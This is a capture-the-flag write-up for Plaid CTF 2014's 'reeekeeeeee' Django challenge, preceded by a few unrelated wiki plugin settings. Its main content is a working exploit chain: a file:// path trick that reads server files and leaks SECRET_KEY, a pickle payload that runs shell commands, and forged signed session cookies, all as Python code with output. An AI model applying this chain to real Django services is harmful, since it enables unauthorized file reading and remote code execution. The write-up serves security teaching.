$plugins['authad'] = '0';
$plugins['authldap'] = '1';
$plugins['authmysql'] = '0';
$plugins['authpgsql'] = '0';
= Plaid CTF 2014: "reeekeeeeee" 200 pts =
Django web app with pickled cookie-stored signed sessions.
== Description ==
//The Plague seems obsessed with internet memes, though we don't yet know why. Perhaps there is a clue to what he's up to on this server (epilepsy warning). If only you could break in.... Here is some of the source.//
The {{:writeups:reekee:source.tar.gz|source code}} was provided.
== Functionality ==
**reekee** is a Django web application that lets users create memes. To use the application, the user has to register an account, and once logged in, the application can download an image from an URL, and overlay a text. Both the URL and the text are user inputs. The website will also display all memes created by a user on his private page.
== Summary ==
The session data is stored in a **signed cookie**, and is serialized using Python's **pickle** module, which means we can execute code. Moreover, we can **read any file** on the server by using URLs that start with ''%%file://%%'' - this allows us to read the configuration file storing the secret used by the cookie signing mechanism. There is an attempt to sanitize the user input against this, but it's bogus.
== Local setup ==
The remote server running the application was accessible at ''%%http://54.82.251.203:8000/%%''. You can {{:writeups:reekee:source.tar.gz|download the source code}}, and easily run a local instance of the application:
~$ tar xf reekee.tar.gz ; cd reekee
~/reekee$ sudo apt-get install python-django
~/reekee$ mkdir /tmp/memes
~/reekee$ python manage.py syncdb
~/reekee$ python manage.py runserver
[...]
Development server is running at http://127.0.0.1:8000/
[...]
You should also change ''mymeme/settings.py:27'' to ''ALLOWED_HOSTS = ['127.0.0.1']'', or ''mymeme/settings.py:23'' to ''DEBUG = False'' ([[https://docs.djangoproject.com/en/1.5/ref/settings/#allowed-hosts|why?]]), which might also help a lot for debugging. Also, you might want to comment out ''templates/head.html:43'' if you value your sanity.
== Vulnerabilities ==
We can start exploring the attack surface by analyzing the ''views.py'', and ''urls.py'' files. The latter is a configuration file that maps URL patterns to their handler functions, which are defined in the former. An general overview of a Django application is presented in [[https://docs.djangoproject.com/en/1.5/intro/overview/|the official documentation]]. The ''views.py'' file handles user input in the following functions:
* ''logmein()'', ''logmeout()'': dispatches credentials to the Django authentication system
* ''register()'': creates a new user with an associated storage directory; filters username strings containing '''..''' or '''/'''
* ''makememe()'': reads, modifies, and saves an image retrieved from a user-provided URL
* ''viewmeme()'': retrieves all memes (images) belonging to the logged in user
The last 2 handlers look promising, letting us read/save data (on the server's storage), and retrieve it later. But, before we start building our attack, let’s also take a glance at ''settings.py'':
* there is a ''SECRET_KEY'' constant that should clearly not be leaked
* there seems to be a hint on line 56 ("HMMMMM") regarding the configured Django session serializer, and session engine
Going through Django's documentation about cookie-based sessions, we discover a big warning confirming the previous hints: //If the ''SECRET_KEY'' is not kept secret and you are using the ''PickleSerializer'', this can lead to arbitrary remote code execution.//
{{ :writeups:reekee:badtime.jpg?nolink |}}
L337! Now, lets move on and take over the world in 3 easy steps!
=== Path manipulation ===
[[http://www.ietf.org/rfc/rfc1738.txt|Uniform Resource Locators (URLs)]] provide a general string representation of resources. Resources (e.g., web pages, files) can be accessed in different ways, thus an URL starts with a scheme followed by '':'', and a scheme-specific part. Applications (in our case, the ''urllib2'' Python library) will use different retrieval mechanisms, or handlers, for each specific scheme (e.g., http, ftp, file, telnet, mailto).
In the ''makememe()'' function, the programmer's intention is to only allow HTTP URLs, but the if condition is bogus, and will pass if ''%%http://%%'' is present anywhere in the string, not just in the beginning, as a scheme specifier.
81: if "http://" in url:
82: image = urllib2.urlopen(url)
83: else:
84: image = urllib2.urlopen("http://"+url)
This bug lets us use ''%%"file://#http://"%%'' to read any file on the server. The special ''%%"#"%%'' is used to specify a fragment of the resource, and is ignored by the file scheme handler, but it helps us pass the if condition.
It is worthwhile to note that the retrieved file is parsed using the ''PIL.Image'' library, but even if this will fail in our case (because we don't read valid images), it will already be written to disk (see ''views.py:91'').
To use this, we'll have to create a new user (you don’t have to do this each and every time, of course), create a meme using the file scheme URL, and, finally, read back the created meme (using the page handled by ''viewmeme()''). Let’s create a new ''attack.py'' file, and prepare a ''read_server_file()'' routine as follows:
import requests, random, string
def read_server_file(path, target='http://127.0.0.1:8000/'):
client = requests.Session() # maintains cookies between requests
client.get(target + 'register') # get csrf token
u = p = ''.join(random.sample(string.ascii_letters, 10))
client.post(
target + 'register',
data = {
'username': u,
'password': p,
'csrfmiddlewaretoken': client.cookies['csrftoken'],
},
)
# the user remains logged in after registration
client.post(
target + 'makememe',
data = {
'url': 'file://%s#http://' % path,
'text': '',
'csrfmiddlewaretoken': client.cookies['csrftoken'],
},
)
return client.get(target + 'view/0').text
Note that we need to get and pass the CSRF token around, but this has nothing to do with the vulnerability, or with our exploit. We are just emulating what a browser would do. The structure of the POST requests (e.g., names of parameters) was obtained by inspecting the HTML forms generated by the application during normal operation.
This vulnerability lets us leak the remote ''SECRET_KEY'' by reading the ''settings.py'' file:
~/reekee$ python -c "import attack; \
print attack.read_server_file('/proc/self/cwd/mymeme/settings.py')"
[...]
SECRET_KEY = 'kgsu8jv!(bew#wm!eb3rb=7gy6=&5ew*jv)j-6-(50$f%no98-'
[...]
=== Remote code execution ===
Next, we are going to look at how an attacker can manipulate the [[http://en.wikipedia.org/wiki/HTTP_cookie|cookie]]-stored serialized [[http://en.wikipedia.org/wiki/Session_(computer_science)|session]] data such that arbitrary code will get executed when the server application tries to deserialize a malicious payload while handling a request. More details about cookie-stored sessions are presented in [[https://docs.djangoproject.com/en/1.5/topics/http/sessions/#using-cookie-based-sessions|the official Django documentation]]. Of course, the Django framework is cryptographically signing the cookies, so the attacker shouldn't be able to modify them, but we already leaked the secret key used for this in the previous step. The next step will show how the signature can be forged.
We are going to step back from the specifics of the reekee application, and take a look at how arbitrary code can be executed code when the **pickle** module is deserializing. This attack is possible as a result of how the pickle module works - more exactly, it encodes the objects in code for a custom stack-based machine that gets executed during deserialization.
The pickle module pops up in many Python application vulnerabilities. A very good overview of the advantages, disadvantages, and alternative serialization methods, was recently given at PyCon 2014 during the [[https://us.pycon.org/2014/schedule/presentation/155/|Pickles are for Delis, not Software]] presentation by Alex Gaynor. Another good reference for attacking the pickle mechanism is [[https://media.blackhat.com/bh-us-11/Slaviero/BH_US_11_Slaviero_Sour_Pickles_WP.pdf|Sour Pickles]], by Marco Slaviero, presented at BlackHat USA 2011. For this task we used the straight forward instructions from [[http://www.cs.jhu.edu/~s/musings/pickle.html|Arbitrary code execution with Python pickles]], by Stephen Checkoway.
Without further ado, here's our attack using the template from the latter article:
import base64, marshal
PAYLOAD_TEMPLATE = '''ctypes
FunctionType
(cmarshal
loads
(cbase64
b64decode
(S'%s'
tRtRc__builtin__
globals
(tRS''
tR(S'%s'
tR.'''
def build_pickle_payload(cmd):
def foo(c):
import os
os.system(c)
m = marshal.dumps(foo.func_code)
return PAYLOAD_TEMPLATE % (base64.b64encode(m), cmd)
And a short test to test the functionality:
~/reekee$ python -c "import cPickle, attack; \
cPickle.loads(attack.build_pickle_payload('echo HxC-RU1z'))"
HxC-RU1z
There is a slight change in the template that allows us to also pass a ''cmd'' parameter to ''foo()''. As an exercise, try to understand the template (see the referenced article) and modify it such that the parameter is also passed as a base64-encoded string. It can be done in 2 ways.
=== Cookie forgery ===
Finally, the most involved part was figuring out exactly how Django signs it's pickled session data. You can find the relevant code on GitHub, the [[https://github.com/django/django/tree/stable/1.5.x|1.5.x branch]]:
* ''PickleSerializer'' class in [[https://github.com/django/django/blob/stable/1.5.x/django/contrib/sessions/serializers.py|django.contrib.sessions.serializers]]
* ''SessionStore.load()'' method in [[https://github.com/django/django/blob/stable/1.5.x/django/contrib/sessions/backends/signed_cookies.py|django.contrib.sessions.backends.signed_cookies]]
* ''loads()'' and ''dumps()'' functions in [[https://github.com/django/django/blob/stable/1.5.x/django/core/signing.py|django.core.signing]]
The ''SessionBase.loads()'' method sets the salt (just a string), and dispatches to the ''signing.loads()'' function.
2: from django.core import signing
[...]
9: def load(self):
10: """
11: We load the data from the key itself instead of fetching from
12: some external data store. Opposite of _get_session_key(),
13: raises BadSignature if signature fails.
14: """
15: try:
16: return signing.loads(self.session_key,
17: serializer=self.serializer,
18: # This doesn't handle non-default expiry dates, see #19201
19: max_age=settings.SESSION_COOKIE_AGE,
20: salt='django.contrib.sessions.backends.signed_cookies')
21: except (signing.BadSignature, ValueError):
22: self.create()
23: return {}
In ''signing.loads()'', the secret key used by the TimestampSigner seems to be None, but if you check it’s base class, ''Signer'', you will observe it uses the SECRET_KEY from ''settings'' as a default: ''%%164: self.key = str(key or settings.SECRET_KEY)%%''.
139: def loads(s, key=None, salt='django.core.signing', serializer=JSONSerializer, max_age=None):
140: """
141: Reverse of dumps(), raises BadSignature if signature fails.
142
143: The serializer is expected to accept a bytestring.
144: """
145: # TimestampSigner.unsign always returns unicode but base64 and zlib
146: # compression operate on bytes.
147: base64d = force_bytes(TimestampSigner(key, salt=salt).unsign(s, max_age=max_age))
148: decompress = False
149: if base64d[:1] == b'.':
150: # It's compressed; uncompress it first
151: base64d = base64d[1:]
152: decompress = True
153: data = b64_decode(base64d)
154: if decompress:
155: data = zlib.decompress(data)
156: return serializer().loads(data)
Cool! We now have all the pieces needed to properly sign a malicious payload. We are going to recreate a striped down serialization counter-part of the above function, similar to the real ''signing.dumps()''. We don't need to call the actual serializer (we've already done that), and we don't need the compression part.
from django.core.signing import TimestampSigner, b64_encode
from django.utils.encoding import force_bytes
# get this using read_server_file('/proc/self/cwd/mymeme/settings.py')
SECRET_KEY = 'kgsu8jv!(bew#wm!eb3rb=7gy6=&5ew*jv)j-6-(50$f%no98-'
def rotten_cookie(payload):
key = force_bytes(SECRET_KEY)
salt = 'django.contrib.sessions.backends.signed_cookies'
base64d = b64_encode(payload)
return TimestampSigner(key, salt=salt).sign(base64d)
== Final exploit ==
The final attack sends a GET request with the malicious cookie, which will run the provided command with the output redirected to a temporary file, which in turn will be read back using the initial path manipulation vulnerability.
def run(cmd, target='http://127.0.0.1:8000/'):
outp = ''.join(random.sample(string.ascii_letters, 10))
p = build_pickle_payload(cmd + ' > /tmp/' + outp)
c = rotten_cookie(p)
requests.get(target + 'index', cookies=dict(sessionid=c))
return read_server_file('/tmp/' + outp, target)
~/reekee$ python -c "import attack; print attack.run('ls')"
give_me_the_flag.exe mymeme use_exe_to_read_me.txt
The .txt file can only be read with the setuid .exe binary. This prevents directly reading the flag file with the first vulnerability, and requires the complete code execution exploit.
~/reekee$ python -c "import attack; print attack.run('./give_me_the_flag.exe')"
flag: why_did_they_make_me_write_web_apps
Complete source code of the final exploit: {{:writeups:reekee:attack.tar.gz|attack.tar.gz}}
== Resources ==
* [[https://docs.djangoproject.com/en/1.5/ref/|Django 1.5.x documentation]]
* [[https://github.com/django/django/tree/stable/1.5.x|Django 1.5.x source code]]
* [[https://us.pycon.org/2014/schedule/presentation/155/|Pickles are for Delis, not Software]], Alex Gaynor, PyCon 2014
* [[https://media.blackhat.com/bh-us-11/Slaviero/BH_US_11_Slaviero_Sour_Pickles_WP.pdf|Sour Pickles]], Marco Slaviero, BlackHat USA 2011
* [[http://www.cs.jhu.edu/~s/musings/pickle.html|Arbitrary code execution with Python pickles]], Stephen Checkoway